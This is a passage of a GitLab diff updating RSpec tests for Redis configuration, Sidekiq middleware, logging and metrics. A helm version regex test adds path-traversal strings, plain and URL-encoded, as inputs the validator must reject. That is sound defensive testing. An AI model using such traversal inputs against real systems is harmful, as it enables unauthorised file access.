+ it 'has a legacy default URL' do
+ expect(subject).to receive(:fetch_config) { false }
+
+ expect(subject.send(:raw_config_hash)).to eq(url: 'redis://localhost:6381' )
+ end
+ end
end
diff --git a/spec/lib/gitlab/redis/shared_state_spec.rb b/spec/lib/gitlab/redis/shared_state_spec.rb
index bd90e4c750d..d240abfbf5b 100644
--- a/spec/lib/gitlab/redis/shared_state_spec.rb
+++ b/spec/lib/gitlab/redis/shared_state_spec.rb
@@ -3,20 +3,16 @@
require 'spec_helper'
RSpec.describe Gitlab::Redis::SharedState do
- let(:config_file_name) { "config/redis.shared_state.yml" }
+ let(:instance_specific_config_file) { "config/redis.shared_state.yml" }
let(:environment_config_file_name) { "GITLAB_REDIS_SHARED_STATE_CONFIG_FILE" }
- let(:config_old_format_socket) { "spec/fixtures/config/redis_shared_state_old_format_socket.yml" }
- let(:config_new_format_socket) { "spec/fixtures/config/redis_shared_state_new_format_socket.yml" }
- let(:old_socket_path) {"/path/to/old/redis.shared_state.sock" }
- let(:new_socket_path) {"/path/to/redis.shared_state.sock" }
- let(:config_old_format_host) { "spec/fixtures/config/redis_shared_state_old_format_host.yml" }
- let(:config_new_format_host) { "spec/fixtures/config/redis_shared_state_new_format_host.yml" }
- let(:redis_port) { 6382 }
- let(:redis_database) { 12 }
- let(:sentinel_port) { redis_port + 20000 }
- let(:config_with_environment_variable_inside) { "spec/fixtures/config/redis_shared_state_config_with_env.yml"}
- let(:config_env_variable_url) {"TEST_GITLAB_REDIS_SHARED_STATE_URL"}
- let(:class_redis_url) { Gitlab::Redis::SharedState::DEFAULT_REDIS_SHARED_STATE_URL }
include_examples "redis_shared_examples"
+
+ describe '#raw_config_hash' do
+ it 'has a legacy default URL' do
+ expect(subject).to receive(:fetch_config) { false }
+
+ expect(subject.send(:raw_config_hash)).to eq(url: 'redis://localhost:6382' )
+ end
+ end
end
diff --git a/spec/lib/gitlab/redis/trace_chunks_spec.rb b/spec/lib/gitlab/redis/trace_chunks_spec.rb
new file mode 100644
index 00000000000..e974dc519d6
--- /dev/null
+++ b/spec/lib/gitlab/redis/trace_chunks_spec.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Redis::TraceChunks do
+ let(:instance_specific_config_file) { "config/redis.trace_chunks.yml" }
+ let(:environment_config_file_name) { "GITLAB_REDIS_TRACE_CHUNKS_CONFIG_FILE" }
+ let(:shared_state_config_file) { nil }
+
+ before do
+ allow(Gitlab::Redis::SharedState).to receive(:config_file_name).and_return(shared_state_config_file)
+ end
+
+ include_examples "redis_shared_examples"
+
+ describe '.config_file_name' do
+ subject { described_class.config_file_name }
+
+ let(:rails_root) { Dir.mktmpdir('redis_shared_examples') }
+
+ before do
+ # Undo top-level stub of config_file_name because we are testing that method now.
+ allow(described_class).to receive(:config_file_name).and_call_original
+
+ allow(described_class).to receive(:rails_root).and_return(rails_root)
+ FileUtils.mkdir_p(File.join(rails_root, 'config'))
+ end
+
+ after do
+ FileUtils.rm_rf(rails_root)
+ end
+
+ context 'when there is only a resque.yml' do
+ before do
+ FileUtils.touch(File.join(rails_root, 'config/resque.yml'))
+ end
+
+ it { expect(subject).to eq("#{rails_root}/config/resque.yml") }
+
+ context 'and there is a global env override' do
+ before do
+ stub_env('GITLAB_REDIS_CONFIG_FILE', 'global override')
+ end
+
+ it { expect(subject).to eq('global override') }
+
+ context 'and SharedState has a different config file' do
+ let(:shared_state_config_file) { 'shared state config file' }
+
+ it { expect(subject).to eq('shared state config file') }
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/redis/wrapper_spec.rb b/spec/lib/gitlab/redis/wrapper_spec.rb
index ec233c022ee..dd1f0d8b414 100644
--- a/spec/lib/gitlab/redis/wrapper_spec.rb
+++ b/spec/lib/gitlab/redis/wrapper_spec.rb
@@ -3,47 +3,9 @@
require 'spec_helper'
RSpec.describe Gitlab::Redis::Wrapper do
- let(:config_file_name) { "config/resque.yml" }
- let(:environment_config_file_name) { "GITLAB_REDIS_CONFIG_FILE" }
- let(:config_old_format_socket) { "spec/fixtures/config/redis_old_format_socket.yml" }
- let(:config_new_format_socket) { "spec/fixtures/config/redis_new_format_socket.yml" }
- let(:old_socket_path) {"/path/to/old/redis.sock" }
- let(:new_socket_path) {"/path/to/redis.sock" }
- let(:config_old_format_host) { "spec/fixtures/config/redis_old_format_host.yml" }
- let(:config_new_format_host) { "spec/fixtures/config/redis_new_format_host.yml" }
- let(:redis_port) { 6379 }
- let(:redis_database) { 99 }
- let(:sentinel_port) { redis_port + 20000 }
- let(:config_with_environment_variable_inside) { "spec/fixtures/config/redis_config_with_env.yml"}
- let(:config_env_variable_url) {"TEST_GITLAB_REDIS_URL"}
- let(:class_redis_url) { Gitlab::Redis::Wrapper::DEFAULT_REDIS_URL }
-
- include_examples "redis_shared_examples" do
- before do
- allow(described_class).to receive(:instrumentation_class) do
- ::Gitlab::Instrumentation::Redis::Cache
- end
- end
- end
-
- describe '.version' do
- it 'returns a version' do
- expect(described_class.version).to be_present
- end
- end
-
describe '.instrumentation_class' do
- it 'raises a NotImplementedError' do
- expect(described_class).to receive(:instrumentation_class).and_call_original
-
- expect { described_class.instrumentation_class }.to raise_error(NotImplementedError)
- end
- end
-
- describe '.config_file_path' do
- it 'returns the absolute path to the configuration file' do
- expect(described_class.config_file_path('foo.yml'))
- .to eq Rails.root.join('config', 'foo.yml').to_s
+ it 'raises a NameError' do
+ expect { described_class.instrumentation_class }.to raise_error(NameError)
end
end
end
diff --git a/spec/lib/gitlab/regex_spec.rb b/spec/lib/gitlab/regex_spec.rb
index 28447d5c2a9..c1c97e87a4c 100644
--- a/spec/lib/gitlab/regex_spec.rb
+++ b/spec/lib/gitlab/regex_spec.rb
@@ -675,9 +675,20 @@ RSpec.describe Gitlab::Regex do
describe '.helm_version_regex' do
subject { described_class.helm_version_regex }
+ it { is_expected.to match('1.2.3') }
+ it { is_expected.to match('1.2.3-beta') }
+ it { is_expected.to match('1.2.3-alpha.3') }
+
it { is_expected.to match('v1.2.3') }
it { is_expected.to match('v1.2.3-beta') }
it { is_expected.to match('v1.2.3-alpha.3') }
+
+ it { is_expected.not_to match('1') }
+ it { is_expected.not_to match('1.2') }
+ it { is_expected.not_to match('1./2.3') }
+ it { is_expected.not_to match('../../../../../1.2.3') }
+ it { is_expected.not_to match('%2e%2e%2f1.2.3') }
+
it { is_expected.not_to match('v1') }
it { is_expected.not_to match('v1.2') }
it { is_expected.not_to match('v1./2.3') }
diff --git a/spec/lib/gitlab/repository_set_cache_spec.rb b/spec/lib/gitlab/repository_set_cache_spec.rb
index 881591ae805..9aeb9f11bac 100644
--- a/spec/lib/gitlab/repository_set_cache_spec.rb
+++ b/spec/lib/gitlab/repository_set_cache_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
let(:repository) { project.repository }
let(:namespace) { "#{repository.full_path}:#{project.id}" }
+ let(:gitlab_cache_namespace) { Gitlab::Redis::Cache::CACHE_NAMESPACE }
let(:cache) { described_class.new(repository) }
describe '#cache_key' do
@@ -52,6 +53,24 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
end
end
+ describe '#write' do
+ subject(:write_cache) { cache.write('branch_names', ['main']) }
+
+ it 'writes the value to the cache' do
+ write_cache
+
+ redis_keys = Gitlab::Redis::Cache.with { |redis| redis.scan(0, match: "*") }.last
+ expect(redis_keys).to include("branch_names:#{namespace}:set")
+ expect(cache.fetch('branch_names')).to contain_exactly('main')
+ end
+
+ it 'sets the expiry of the set' do
+ write_cache
+
+ expect(cache.ttl('branch_names')).to be_within(1).of(cache.expires_in.seconds)
+ end
+ end
+
describe '#expire' do
subject { cache.expire(*keys) }
@@ -75,6 +94,12 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
expect(cache.read(:foo)).to be_empty
end
+
+ it 'expires the new key format' do
+ expect_any_instance_of(Redis).to receive(:unlink).with(cache.cache_key(:foo), cache.new_cache_key(:foo)) # rubocop:disable RSpec/AnyInstanceOf
+
+ subject
+ end
end
context 'multiple keys' do
diff --git a/spec/lib/gitlab/runtime_spec.rb b/spec/lib/gitlab/runtime_spec.rb
index 0fcb7db7d5f..f51c5dd3d20 100644
--- a/spec/lib/gitlab/runtime_spec.rb
+++ b/spec/lib/gitlab/runtime_spec.rb
@@ -99,25 +99,6 @@ RSpec.describe Gitlab::Runtime do
end
end
- context "unicorn" do
- before do
- stub_const('::Unicorn', Module.new)
- stub_const('::Unicorn::HttpServer', Class.new)
- stub_env('ACTION_CABLE_IN_APP', 'false')
- end
-
- it_behaves_like "valid runtime", :unicorn, 1
-
- context "when ActionCable in-app mode is enabled" do
- before do
- stub_env('ACTION_CABLE_IN_APP', 'true')
- stub_env('ACTION_CABLE_WORKER_POOL_SIZE', '3')
- end
-
- it_behaves_like "valid runtime", :unicorn, 4
- end
- end
-
context "sidekiq" do
let(:sidekiq_type) { double('::Sidekiq') }
diff --git a/spec/lib/gitlab/sidekiq_cluster/cli_spec.rb b/spec/lib/gitlab/sidekiq_cluster/cli_spec.rb
index 43cbe71dd6b..5347680b253 100644
--- a/spec/lib/gitlab/sidekiq_cluster/cli_spec.rb
+++ b/spec/lib/gitlab/sidekiq_cluster/cli_spec.rb
@@ -108,114 +108,101 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do
end
end
- # Remove with https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/646
- context 'with --queue-selector and --experimental-queue-selector' do
- it 'errors' do
- expect(Gitlab::SidekiqCluster).not_to receive(:start)
-
- expect { cli.run(%w(--queue-selector name=foo --experimental-queue-selector name=bar)) }
- .to raise_error(described_class::CommandError)
- end
- end
-
- # Simplify with https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/646
- ['--queue-selector', '--experimental-queue-selector'].each do |flag|
- context "with #{flag}" do
- where do
- {
- 'memory-bound queues' => {
- query: 'resource_boundary=memory',
- included_queues: %w(project_export),
- excluded_queues: %w(merge)
- },
- 'memory- or CPU-bound queues' => {
- query: 'resource_boundary=memory,cpu',
- included_queues: %w(auto_merge:auto_merge_process project_export),
- excluded_queues: %w(merge)
- },
- 'high urgency CI queues' => {
- query: 'feature_category=continuous_integration&urgency=high',
- included_queues: %w(pipeline_cache:expire_job_cache pipeline_cache:expire_pipeline_cache),
- excluded_queues: %w(merge)
- },
- 'CPU-bound high urgency CI queues' => {
- query: 'feature_category=continuous_integration&urgency=high&resource_boundary=cpu',
- included_queues: %w(pipeline_cache:expire_pipeline_cache),
- excluded_queues: %w(pipeline_cache:expire_job_cache merge)
- },
- 'CPU-bound high urgency non-CI queues' => {
- query: 'feature_category!=continuous_integration&urgency=high&resource_boundary=cpu',
- included_queues: %w(new_issue),
- excluded_queues: %w(pipeline_cache:expire_pipeline_cache)
- },
- 'CI and SCM queues' => {
- query: 'feature_category=continuous_integration|feature_category=source_code_management',
- included_queues: %w(pipeline_cache:expire_job_cache merge),
- excluded_queues: %w(mailers)
- }
+ context "with --queue-selector" do
+ where do
+ {
+ 'memory-bound queues' => {
+ query: 'resource_boundary=memory',
+ included_queues: %w(project_export),
+ excluded_queues: %w(merge)
+ },
+ 'memory- or CPU-bound queues' => {
+ query: 'resource_boundary=memory,cpu',
+ included_queues: %w(auto_merge:auto_merge_process project_export),
+ excluded_queues: %w(merge)
+ },
+ 'high urgency CI queues' => {
+ query: 'feature_category=continuous_integration&urgency=high',
+ included_queues: %w(pipeline_cache:expire_job_cache pipeline_cache:expire_pipeline_cache),
+ excluded_queues: %w(merge)
+ },
+ 'CPU-bound high urgency CI queues' => {
+ query: 'feature_category=continuous_integration&urgency=high&resource_boundary=cpu',
+ included_queues: %w(pipeline_cache:expire_pipeline_cache),
+ excluded_queues: %w(pipeline_cache:expire_job_cache merge)
+ },
+ 'CPU-bound high urgency non-CI queues' => {
+ query: 'feature_category!=continuous_integration&urgency=high&resource_boundary=cpu',
+ included_queues: %w(new_issue),
+ excluded_queues: %w(pipeline_cache:expire_pipeline_cache)
+ },
+ 'CI and SCM queues' => {
+ query: 'feature_category=continuous_integration|feature_category=source_code_management',
+ included_queues: %w(pipeline_cache:expire_job_cache merge),
+ excluded_queues: %w(mailers)
}
- end
-
- with_them do
- it 'expands queues by attributes' do
- expect(Gitlab::SidekiqCluster).to receive(:start) do |queues, opts|
- expect(opts).to eq(default_options)
- expect(queues.first).to include(*included_queues)
- expect(queues.first).not_to include(*excluded_queues)
+ }
+ end
- []
- end
+ with_them do
+ it 'expands queues by attributes' do
+ expect(Gitlab::SidekiqCluster).to receive(:start) do |queues, opts|
+ expect(opts).to eq(default_options)
+ expect(queues.first).to include(*included_queues)
+ expect(queues.first).not_to include(*excluded_queues)
- cli.run(%W(#{flag} #{query}))
+ []
end
- it 'works when negated' do
- expect(Gitlab::SidekiqCluster).to receive(:start) do |queues, opts|
- expect(opts).to eq(default_options)
- expect(queues.first).not_to include(*included_queues)
- expect(queues.first).to include(*excluded_queues)
+ cli.run(%W(--queue-selector #{query}))
+ end
- []
- end
+ it 'works when negated' do
+ expect(Gitlab::SidekiqCluster).to receive(:start) do |queues, opts|
+ expect(opts).to eq(default_options)
+ expect(queues.first).not_to include(*included_queues)
+ expect(queues.first).to include(*excluded_queues)
- cli.run(%W(--negate #{flag} #{query}))
+ []
end
+
+ cli.run(%W(--negate --queue-selector #{query}))
end
+ end
- it 'expands multiple queue groups correctly' do
- expect(Gitlab::SidekiqCluster)
- .to receive(:start)
- .with([['chat_notification'], ['project_export']], default_options)
- .and_return([])
+ it 'expands multiple queue groups correctly' do
+ expect(Gitlab::SidekiqCluster)
+ .to receive(:start)
+ .with([['chat_notification'], ['project_export']], default_options)
+ .and_return([])
- cli.run(%W(#{flag} feature_category=chatops&has_external_dependencies=true resource_boundary=memory&feature_category=importers))
- end
+ cli.run(%w(--queue-selector feature_category=chatops&has_external_dependencies=true resource_boundary=memory&feature_category=importers))
+ end
- it 'allows the special * selector' do
- worker_queues = %w(foo bar baz)
+ it 'allows the special * selector' do
+ worker_queues = %w(foo bar baz)
- expect(Gitlab::SidekiqConfig::CliMethods)
- .to receive(:worker_queues).and_return(worker_queues)
+ expect(Gitlab::SidekiqConfig::CliMethods)
+ .to receive(:worker_queues).and_return(worker_queues)
- expect(Gitlab::SidekiqCluster)
- .to receive(:start).with([worker_queues], default_options)
+ expect(Gitlab::SidekiqCluster)
+ .to receive(:start).with([worker_queues], default_options)
- cli.run(%W(#{flag} *))
- end
+ cli.run(%w(--queue-selector *))
+ end
- it 'errors when the selector matches no queues' do
- expect(Gitlab::SidekiqCluster).not_to receive(:start)
+ it 'errors when the selector matches no queues' do
+ expect(Gitlab::SidekiqCluster).not_to receive(:start)
- expect { cli.run(%W(#{flag} has_external_dependencies=true&has_external_dependencies=false)) }
- .to raise_error(described_class::CommandError)
- end
+ expect { cli.run(%w(--queue-selector has_external_dependencies=true&has_external_dependencies=false)) }
+ .to raise_error(described_class::CommandError)
+ end
- it 'errors on an invalid query multiple queue groups correctly' do
- expect(Gitlab::SidekiqCluster).not_to receive(:start)
+ it 'errors on an invalid query multiple queue groups correctly' do
+ expect(Gitlab::SidekiqCluster).not_to receive(:start)
- expect { cli.run(%W(#{flag} unknown_field=chatops)) }
- .to raise_error(Gitlab::SidekiqConfig::WorkerMatcher::QueryError)
- end
+ expect { cli.run(%w(--queue-selector unknown_field=chatops)) }
+ .to raise_error(Gitlab::SidekiqConfig::WorkerMatcher::QueryError)
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb b/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
index 731c509e221..dfdc1420eac 100644
--- a/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
+++ b/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
@@ -228,6 +228,8 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
end
context 'when the job performs database queries' do
+ include_context 'clear DB Load Balancing configuration'
+
before do
allow(Time).to receive(:now).and_return(timestamp)
allow(Process).to receive(:clock_gettime).and_call_original
@@ -248,28 +250,112 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
)
end
- it 'logs the database time' do
- expect(logger).to receive(:info).with(expected_start_payload).ordered
- expect(logger).to receive(:info).with(expected_end_payload_with_db).ordered
+ shared_examples 'performs database queries' do
+ it 'logs the database time', :aggregate_errors do
+ expect(logger).to receive(:info).with(expected_start_payload).ordered
+ expect(logger).to receive(:info).with(expected_end_payload_with_db).ordered
- call_subject(job, 'test_queue') do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
+ call_subject(job, 'test_queue') do
+ ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
+ end
+ end
+
+ it 'prevents database time from leaking to the next job', :aggregate_errors do
+ expect(logger).to receive(:info).with(expected_start_payload).ordered
+ expect(logger).to receive(:info).with(expected_end_payload_with_db).ordered
+ expect(logger).to receive(:info).with(expected_start_payload).ordered
+ expect(logger).to receive(:info).with(expected_end_payload).ordered
+
+ call_subject(job.dup, 'test_queue') do
+ ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
+ end
+
+ Gitlab::SafeRequestStore.clear!
+
+ call_subject(job.dup, 'test_queue') { }
end
end
- it 'prevents database time from leaking to the next job' do
- expect(logger).to receive(:info).with(expected_start_payload).ordered
- expect(logger).to receive(:info).with(expected_end_payload_with_db).ordered
- expect(logger).to receive(:info).with(expected_start_payload).ordered
- expect(logger).to receive(:info).with(expected_end_payload).ordered
+ context 'when load balancing is disabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(false)
+ end
+
+ let(:expected_end_payload_with_db) do
+ expected_end_payload.merge(
+ 'db_duration_s' => a_value >= 0.1,
+ 'db_count' => a_value >= 1,
+ 'db_cached_count' => 0,
+ 'db_write_count' => 0
+ )
+ end
+
+ include_examples 'performs database queries'
+ end
+
+ context 'when load balancing is enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
- call_subject(job.dup, 'test_queue') do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
+ let(:expected_end_payload_with_db) do
+ expected_end_payload.merge(
+ 'db_duration_s' => a_value >= 0.1,
+ 'db_count' => a_value >= 1,
+ 'db_cached_count' => 0,
+ 'db_write_count' => 0,
+ 'db_replica_count' => 0,
+ 'db_replica_cached_count' => 0,
+ 'db_replica_wal_count' => 0,
+ 'db_replica_duration_s' => a_value >= 0,
+ 'db_primary_count' => a_value >= 1,
+ 'db_primary_cached_count' => 0,
+ 'db_primary_wal_count' => 0,
+ 'db_primary_duration_s' => a_value > 0
+ )
end
- Gitlab::SafeRequestStore.clear!
+ let(:end_payload) do
+ start_payload.merge(
+ 'message' => 'TestWorker JID-da883554ee4fe414012f5f42: done: 0.0 sec',
+ 'job_status' => 'done',
+ 'duration_s' => 0.0,
+ 'completed_at' => timestamp.to_f,
+ 'cpu_s' => 1.111112,
+ 'db_duration_s' => 0.0,
+ 'db_cached_count' => 0,
+ 'db_count' => 0,
+ 'db_write_count' => 0,
+ 'db_replica_count' => 0,
+ 'db_replica_cached_count' => 0,
+ 'db_replica_wal_count' => 0,
+ 'db_replica_duration_s' => 0,
+ 'db_primary_count' => 0,
+ 'db_primary_cached_count' => 0,
+ 'db_primary_wal_count' => 0,
+ 'db_primary_duration_s' => 0
+ )
+ end
+
+ include_examples 'performs database queries'
+ end
+ end
+
+ context 'when the job uses load balancing capabilities' do
+ let(:expected_payload) { { 'database_chosen' => 'retry' } }
+
+ before do
+ allow(Time).to receive(:now).and_return(timestamp)
+ allow(Process).to receive(:clock_gettime).and_call_original
+ end
+
+ it 'logs the database chosen' do
+ expect(logger).to receive(:info).with(start_payload).ordered
+ expect(logger).to receive(:info).with(include(expected_payload)).ordered
- call_subject(job.dup, 'test_queue') { }
+ call_subject(job, 'test_queue') do
+ job[:database_chosen] = 'retry'
+ end
end
end
@@ -303,6 +389,39 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
expect { subject.call(job.dup, 'test_queue') {} }.not_to raise_error
end
end
+
+ context 'when the job payload is compressed' do
+ let(:compressed_args) { "eJyLVspIzcnJV4oFAA88AxE=" }
+ let(:expected_start_payload) do
+ start_payload.merge(
+ 'args' => ['[COMPRESSED]'],
+ 'job_size_bytes' => Sidekiq.dump_json([compressed_args]).bytesize,
+ 'compressed' => true
+ )
+ end
+
+ let(:expected_end_payload) do
+ end_payload.merge(
+ 'args' => ['[COMPRESSED]'],
+ 'job_size_bytes' => Sidekiq.dump_json([compressed_args]).bytesize,
+ 'compressed' => true
+ )
+ end
+
+ it 'logs it in the done log' do
+ Timecop.freeze(timestamp) do
+ expect(logger).to receive(:info).with(expected_start_payload).ordered
+ expect(logger).to receive(:info).with(expected_end_payload).ordered
+
+ job['args'] = [compressed_args]
+ job['compressed'] = true
+
+ call_subject(job, 'test_queue') do
+ ::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor.decompress(job)
+ end
+ end
+ end
+ end
end
describe '#add_time_keys!' do
diff --git a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
index 0285467ecab..a10a8883591 100644
--- a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
@@ -18,14 +18,43 @@ RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob, :clean_gi
end
describe '#schedule' do
- it 'calls schedule on the strategy' do
- expect do |block|
- expect_next_instance_of(Gitlab::SidekiqMiddleware::DuplicateJobs::Strategies::UntilExecuting) do |strategy|
- expect(strategy).to receive(:schedule).with(job, &block)
+ shared_examples 'scheduling with deduplication class' do |strategy_class|
+ it 'calls schedule on the strategy' do
+ expect do |block|
+ expect_next_instance_of("Gitlab::SidekiqMiddleware::DuplicateJobs::Strategies::#{strategy_class}".constantize) do |strategy|
+ expect(strategy).to receive(:schedule).with(job, &block)
+ end
+
+ duplicate_job.schedule(&block)
+ end.to yield_control
+ end
+ end
+
+ it_behaves_like 'scheduling with deduplication class', 'UntilExecuting'
+
+ context 'when the deduplication depends on a FF' do
+ before do
+ skip_feature_flags_yaml_validation
+ skip_default_enabled_yaml_check
+
+ allow(AuthorizedProjectsWorker).to receive(:get_deduplication_options).and_return(feature_flag: :my_feature_flag)
+ end
+
+ context 'when the feature flag is enabled' do
+ before do
+ stub_feature_flags(my_feature_flag: true)
end
- duplicate_job.schedule(&block)
- end.to yield_control
+ it_behaves_like 'scheduling with deduplication class', 'UntilExecuting'
+ end
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(my_feature_flag: false)
+ end
+
+ it_behaves_like 'scheduling with deduplication class', 'None'
+ end
end
end
@@ -51,6 +80,10 @@ RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob, :clean_gi
.from([nil, -2])
.to(['123', be_within(1).of(described_class::DUPLICATE_KEY_TTL)])
end
+
+ it "adds the idempotency key to the jobs payload" do
+ expect { duplicate_job.check! }.to change { job['idempotency_key'] }.from(nil).to(idempotency_key)
+ end
end
context 'when there was already a job with same arguments in the same queue' do
@@ -81,14 +114,39 @@ RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob, :clean_gi
context 'when the key exists in redis' do
before do
- set_idempotency_key(idempotency_key, 'existing-key')
+ set_idempotency_key(idempotency_key, 'existing-jid')
end
- it 'removes the key from redis' do
- expect { duplicate_job.delete! }
- .to change { read_idempotency_key_with_ttl(idempotency_key) }
- .from(['existing-key', -1])
- .to([nil, -2])
+ shared_examples 'deleting the duplicate job' do
+ it 'removes the key from redis' do
+ expect { duplicate_job.delete! }
+ .to change { read_idempotency_key_with_ttl(idempotency_key) }
+ .from(['existing-jid', -1])
+ .to([nil, -2])
+ end
+ end
+
+ context 'when the idempotency key is not part of the job' do
+ it_behaves_like 'deleting the duplicate job'
+
+ it 'recalculates the idempotency hash' do
+ expect(duplicate_job).to receive(:idempotency_hash).and_call_original
+
+ duplicate_job.delete!
+ end
+ end
+
+ context 'when the idempotency key is part of the job' do
+ let(:idempotency_key) { 'not the same as what we calculate' }
+ let(:job) { super().merge('idempotency_key' => idempotency_key) }
+
+ it_behaves_like 'deleting the duplicate job'
+
+ it 'does not recalculate the idempotency hash' do
+ expect(duplicate_job).not_to receive(:idempotency_hash)
+
+ duplicate_job.delete!
+ end
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb b/spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb
index eb9ba50cdcd..8cf65e1be5b 100644
--- a/spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb
@@ -24,58 +24,10 @@ RSpec.describe Gitlab::SidekiqMiddleware::InstrumentationLogger do
stub_const('TestWorker', worker)
end
- describe '.keys' do
- it 'returns all available payload keys' do
- expected_keys = [
- :cpu_s,
- :gitaly_calls,
- :gitaly_duration_s,
- :rugged_calls,
- :rugged_duration_s,
- :elasticsearch_calls,
- :elasticsearch_duration_s,
- :elasticsearch_timed_out_count,
- :mem_objects,
- :mem_bytes,
- :mem_mallocs,
- :redis_calls,
- :redis_duration_s,
- :redis_read_bytes,
- :redis_write_bytes,
- :redis_action_cable_calls,
- :redis_action_cable_duration_s,
- :redis_action_cable_read_bytes,
- :redis_action_cable_write_bytes,
- :redis_cache_calls,
- :redis_cache_duration_s,
- :redis_cache_read_bytes,
- :redis_cache_write_bytes,
- :redis_queues_calls,
- :redis_queues_duration_s,
- :redis_queues_read_bytes,
- :redis_queues_write_bytes,
- :redis_shared_state_calls,
- :redis_shared_state_duration_s,
- :redis_shared_state_read_bytes,
- :redis_shared_state_write_bytes,
- :db_count,
- :db_write_count,
- :db_cached_count,
- :external_http_count,
- :external_http_duration_s,
- :rack_attack_redis_count,
- :rack_attack_redis_duration_s
- ]
-
- expect(described_class.keys).to include(*expected_keys)
- end
- end
-
describe '#call', :request_store do
let(:instrumentation_values) do
{
cpu_s: 10,
- unknown_attribute: 123,
db_count: 0,
db_cached_count: 0,
db_write_count: 0,
@@ -90,12 +42,10 @@ RSpec.describe Gitlab::SidekiqMiddleware::InstrumentationLogger do
end
end
- it 'merges correct instrumentation data in the job' do
+ it 'merges all instrumentation data in the job' do
expect { |b| subject.call(worker, job, queue, &b) }.to yield_control
- expected_values = instrumentation_values.except(:unknown_attribute)
-
- expect(job[:instrumentation]).to eq(expected_values)
+ expect(job[:instrumentation]).to eq(instrumentation_values)
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb b/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
index 95be76ce351..34b4541f339 100644
--- a/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
@@ -107,5 +107,110 @@ RSpec.describe Gitlab::SidekiqMiddleware::ServerMetrics do
let(:job_status) { :done }
let(:labels_with_job_status) { labels.merge(job_status: job_status.to_s) }
end
+
+ context 'DB load balancing' do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { described_class.new }
+
+ let(:queue) { :test }
+ let(:worker_class) { worker.class }
+ let(:job) { {} }
+ let(:job_status) { :done }
+ let(:labels_with_job_status) { default_labels.merge(job_status: job_status.to_s) }
+ let(:default_labels) do
+ { queue: queue.to_s,
+ worker: worker_class.to_s,
+ boundary: "",
+ external_dependencies: "no",
+ feature_category: "",
+ urgency: "low" }
+ end
+
+ before do
+ stub_const('TestWorker', Class.new)
+ TestWorker.class_eval do
+ include Sidekiq::Worker
+ include WorkerAttributes
+ end
+ end
+
+ let(:worker) { TestWorker.new }
+
+ include_context 'server metrics with mocked prometheus'
+
+ context 'when load_balancing is enabled' do
+ let(:load_balancing_metric) { double('load balancing metric') }
+
+ include_context 'clear DB Load Balancing configuration'
+
+ before do
+ allow(::Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_load_balancing_count, anything).and_return(load_balancing_metric)
+ end
+
+ describe '#initialize' do
+ it 'sets load_balancing metrics' do
+ expect(Gitlab::Metrics).to receive(:counter).with(:sidekiq_load_balancing_count, anything).and_return(load_balancing_metric)
+
+ subject
+ end
+ end
+
+ describe '#call' do
+ include_context 'server metrics call'
+
+ context 'when :database_chosen is provided' do
+ where(:database_chosen) do
+ %w[primary retry replica]
+ end
+
+ with_them do
+ context "when #{params[:database_chosen]} is used" do
+ let(:labels_with_load_balancing) do
+ labels_with_job_status.merge(database_chosen: database_chosen, data_consistency: 'delayed')
+ end
+
+ before do
+ job[:database_chosen] = database_chosen
+ job[:data_consistency] = 'delayed'
+ allow(load_balancing_metric).to receive(:increment)
+ end
+
+ it 'increment sidekiq_load_balancing_count' do
+ expect(load_balancing_metric).to receive(:increment).with(labels_with_load_balancing, 1)
+
+ described_class.new.call(worker, job, :test) { nil }
+ end
+ end
+ end
+ end
+
+ context 'when :database_chosen is not provided' do
+ it 'does not increment sidekiq_load_balancing_count' do
+ expect(load_balancing_metric).not_to receive(:increment)
+
+ described_class.new.call(worker, job, :test) { nil }
+ end
+ end
+ end
+ end
+
+ context 'when load_balancing is disabled' do
+ include_context 'clear DB Load Balancing configuration'
+
+ before do
